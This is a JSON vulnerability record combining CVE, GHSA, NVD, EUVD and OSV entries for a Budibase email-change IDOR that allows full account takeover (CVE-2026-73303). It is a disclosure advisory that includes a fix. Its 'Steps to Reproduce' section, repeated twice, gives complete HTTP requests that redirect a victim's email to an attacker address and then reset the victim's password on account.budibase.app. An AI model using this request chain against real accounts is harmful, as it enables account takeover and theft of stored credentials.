{"id":"CVE-2026-73303","aliases":["EUVD-2026-57426","GHSA-c8vc-7pv3-g98p"],"status":"published","title":"Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.","severity":{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00308,"percentile":0.23858,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-639"],"published":"2026-07-24T21:14:49Z","modified":"2026-10-28T02:30:40Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-c8vc-7pv3-g98p","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.40.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-c8vc-7pv3-g98p"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73303.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73303","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73303","title":"Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.","status":"published","published":"2026-08-12T18:51:38.748Z","modified":"2026-08-12T22:11:41.829Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T13:43:33.766176Z"}],"euvd":[{"id":"EUVD-2026-57426","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.","status":"published","published":"2026-08-12T18:51:38Z","modified":"2026-08-12T22:11:41Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T18:01:57.602969Z"}],"ghsa":[{"id":"GHSA-c8vc-7pv3-g98p","title":" Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"## Summary\n\n`POST /api/v2/email` on the account portal (`account.budibase.app`) starts an email-change workflow using a client-supplied `accountId` that is **not validated against the authenticated session**. A logged-in attacker supplies a victim's `accountId` and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the **victim's** account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction.\n\n## Vulnerability Details\n\nThe endpoint session-checks the `currentEmail` field (a mismatch returns 403), but it does not enforce `body.accountId === session.accountId`. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's `accountId` can point the workflow at the victim's account while passing their own `currentEmail` to clear the session check.\n\nThis is more powerful than a direct password reset: `PUT /api/v2/auth/password {email}` already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.\n\n**accountId obtainability.** We checked every endpoint reachable from a non-admin free-tier account — `GET /api/global/users` (no UUID in any user record), `GET /api/global/auditlogs/search` (no accountId field), `GET /api/global/users/invites` (code + email + name only), `GET /api/v2/tenant` (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's `accountId` was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).\n\n## Steps to Reproduce\n\n**Setup:** Two account-portal accounts at `https://account.budibase.app` — Account A (attacker) and Account B (victim). From Account B's session, `GET /api/auth/self` returns `account.accountId` — this is the value the attacker needs.\n\n1. **Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.**\n\n```http\nPOST /api/v2/email HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e\n\n{\"currentEmail\":\"\u003cACCOUNT_A_EMAIL\u003e\",\"newEmail\":\"attacker-controlled@example.net\",\"accountId\":\"\u003cVICTIM_ACCOUNT_ID\u003e\"}\n```\n\nResponse: `201 Created`, sets `budibase:change_email:correlationkey` (HttpOnly), `:instancekey`, `:status`, `:newemail` cookies. The workflow started against the victim's accountId even though the caller is Account A.\n\n2. **Complete the change with the code from the attacker-controlled inbox (or read directly from the `correlationkey` cookie set in step 1).**\n\n```http\nPOST /api/v2/email/verification HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e; budibase:change_email:correlationkey=\u003cCODE\u003e; budibase:change_email:instancekey=\u003cKEY\u003e\n\n{\"verificationCode\":\"\u003ccode\u003e\",\"processInstanceKey\":\"\u003ckey\u003e\"}\n```\n\nResponse: `200 OK`. The victim's account email is now `attacker-controlled@example.net`.\n\n3. **Confirm the change hit the victim, not the caller (false-positive control).**\n\n- Account A (caller) still logs in with its own original email — 200, unchanged.\n- Account B's (victim) original email is now rejected — 403, locked out.\n- `attacker-controlled@example.net` now logs into the victim's account — 200.\n\n4. **Take over the account.**\n\n```http\nPUT /api/v2/auth/password HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\n\n{\"email\":\"attacker-controlled@example.net\"}\n```\n\nResponse: `202 Accepted`, reset link delivered to the attacker's own inbox. Complete the reset with `PUT /api/v2/auth/password/verification`, then log in as the victim with the attacker-chosen password. `GET /api/auth/self` afterward returns the victim's real `accountId` and `tenantId` — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).\n\n## Impact\n\nAn authenticated account-portal user who obtains a victim's `accountId` (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow.\n\n## Remediation\n\nValidate that the body's `accountId` equals the authenticated session's `accountId` before starting or completing the email-change workflow (the same check already applied to `currentEmail`). Do not trust a client-supplied `accountId` to select the workflow target.","status":"published","published":"2026-07-24T21:14:49Z","modified":"2026-08-12T18:56:58Z","cwes":["CWE-639"],"updated_at":"2026-11-02T14:40:58.888637Z"}],"nvd":[{"id":"CVE-2026-73303","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.","status":"published","published":"2026-08-12T20:17:54.133Z","modified":"2026-09-08T20:56:50.52Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T14:12:37.217486Z"}],"osv":[{"id":"CVE-2026-73303","title":"Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, POST /api/v2/email on account.budibase.app accepted a client-controlled accountId without binding it to the authenticated session, while checking only currentEmail. An authenticated attacker who obtains a victim account identifier can start the email-change workflow for the victim, receive and submit the verification code through POST /api/v2/email/verification, move the victim email to an attacker-controlled address, and complete a password reset as the victim. This issue is fixed in version 3.40.0.","status":"published","published":"2026-08-12T18:51:38.748Z","modified":"2026-10-28T02:30:40.160094736Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-639"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-c8vc-7pv3-g98p","title":" Budibase: Email Change IDOR via POST /api/v2/email allows full Account Takeover (accountId not validated against session)","description":"## Summary\n\n`POST /api/v2/email` on the account portal (`account.budibase.app`) starts an email-change workflow using a client-supplied `accountId` that is **not validated against the authenticated session**. A logged-in attacker supplies a victim's `accountId` and an email address they control; the verification code is delivered to the attacker's address, and completing the workflow changes the **victim's** account email. The attacker then password-resets the victim's account through the controlled address and logs in — full account takeover with no victim interaction.\n\n## Vulnerability Details\n\nThe endpoint session-checks the `currentEmail` field (a mismatch returns 403), but it does not enforce `body.accountId === session.accountId`. The account-portal frontend only ever submits the logged-in user's own accountId, so in normal use the two always match — the server simply trusts the body value. An attacker who has a victim's `accountId` can point the workflow at the victim's account while passing their own `currentEmail` to clear the session check.\n\nThis is more powerful than a direct password reset: `PUT /api/v2/auth/password {email}` already exists and is gated only on knowing the victim's email, but the reset link is sent to the address on the account — the victim's inbox, which the attacker does not control. This IDOR moves the victim's email to an attacker-controlled inbox first, so the attacker receives the reset link and sets a password they know.\n\n**accountId obtainability.** We checked every endpoint reachable from a non-admin free-tier account — `GET /api/global/users` (no UUID in any user record), `GET /api/global/auditlogs/search` (no accountId field), `GET /api/global/users/invites` (code + email + name only), `GET /api/v2/tenant` (one tenant-internal UUID, not a user accountId), the account-portal frontend (passes the session's own accountId only), and all unauthenticated endpoints — and the victim's `accountId` was not present in any of them. The attacker must obtain the UUID through some channel other than the normal API surface (support channel, screenshot, a leak, prior compromise, etc.).\n\n## Steps to Reproduce\n\n**Setup:** Two account-portal accounts at `https://account.budibase.app` — Account A (attacker) and Account B (victim). From Account B's session, `GET /api/auth/self` returns `account.accountId` — this is the value the attacker needs.\n\n1. **Start the email-change workflow pointed at the victim's accountId, newEmail = attacker-controlled.**\n\n```http\nPOST /api/v2/email HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e\n\n{\"currentEmail\":\"\u003cACCOUNT_A_EMAIL\u003e\",\"newEmail\":\"attacker-controlled@example.net\",\"accountId\":\"\u003cVICTIM_ACCOUNT_ID\u003e\"}\n```\n\nResponse: `201 Created`, sets `budibase:change_email:correlationkey` (HttpOnly), `:instancekey`, `:status`, `:newemail` cookies. The workflow started against the victim's accountId even though the caller is Account A.\n\n2. **Complete the change with the code from the attacker-controlled inbox (or read directly from the `correlationkey` cookie set in step 1).**\n\n```http\nPOST /api/v2/email/verification HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\nCookie: budibase:auth=\u003cACCOUNT_A_JWT\u003e; budibase:change_email:correlationkey=\u003cCODE\u003e; budibase:change_email:instancekey=\u003cKEY\u003e\n\n{\"verificationCode\":\"\u003ccode\u003e\",\"processInstanceKey\":\"\u003ckey\u003e\"}\n```\n\nResponse: `200 OK`. The victim's account email is now `attacker-controlled@example.net`.\n\n3. **Confirm the change hit the victim, not the caller (false-positive control).**\n\n- Account A (caller) still logs in with its own original email — 200, unchanged.\n- Account B's (victim) original email is now rejected — 403, locked out.\n- `attacker-controlled@example.net` now logs into the victim's account — 200.\n\n4. **Take over the account.**\n\n```http\nPUT /api/v2/auth/password HTTP/1.1\nHost: account.budibase.app\nContent-Type: application/json\n\n{\"email\":\"attacker-controlled@example.net\"}\n```\n\nResponse: `202 Accepted`, reset link delivered to the attacker's own inbox. Complete the reset with `PUT /api/v2/auth/password/verification`, then log in as the victim with the attacker-chosen password. `GET /api/auth/self` afterward returns the victim's real `accountId` and `tenantId` — full account takeover, confirmed via a genuinely separate account/tenant (not a same-account self-test).\n\n## Impact\n\nAn authenticated account-portal user who obtains a victim's `accountId` (out-of-band — it is not exposed anywhere in the normal cross-user API surface we could find) can take over that victim's account: rewrite the login email to an attacker address, set a new password, and access the victim's tenants, apps, and stored datasource credentials (REST/SQL/S3 auth). The victim is locked out of their own account. Every step from the initial IDOR write to full login-as-victim is deterministic and 100% reliable once the accountId is known — no additional vulnerability or guessing is required, since the chain uses nothing but the platform's own stock password-reset flow.\n\n## Remediation\n\nValidate that the body's `accountId` equals the authenticated session's `accountId` before starting or completing the email-change workflow (the same check already applied to `currentEmail`). Do not trust a client-supplied `accountId` to select the workflow target.","status":"published","published":"2026-07-24T21:14:49Z","modified":"2026-08-12T19:11:12.890366Z","cwes":["CWE-639"],"updated_at":"2026-11-02T15:46:44.927642Z"}]}}
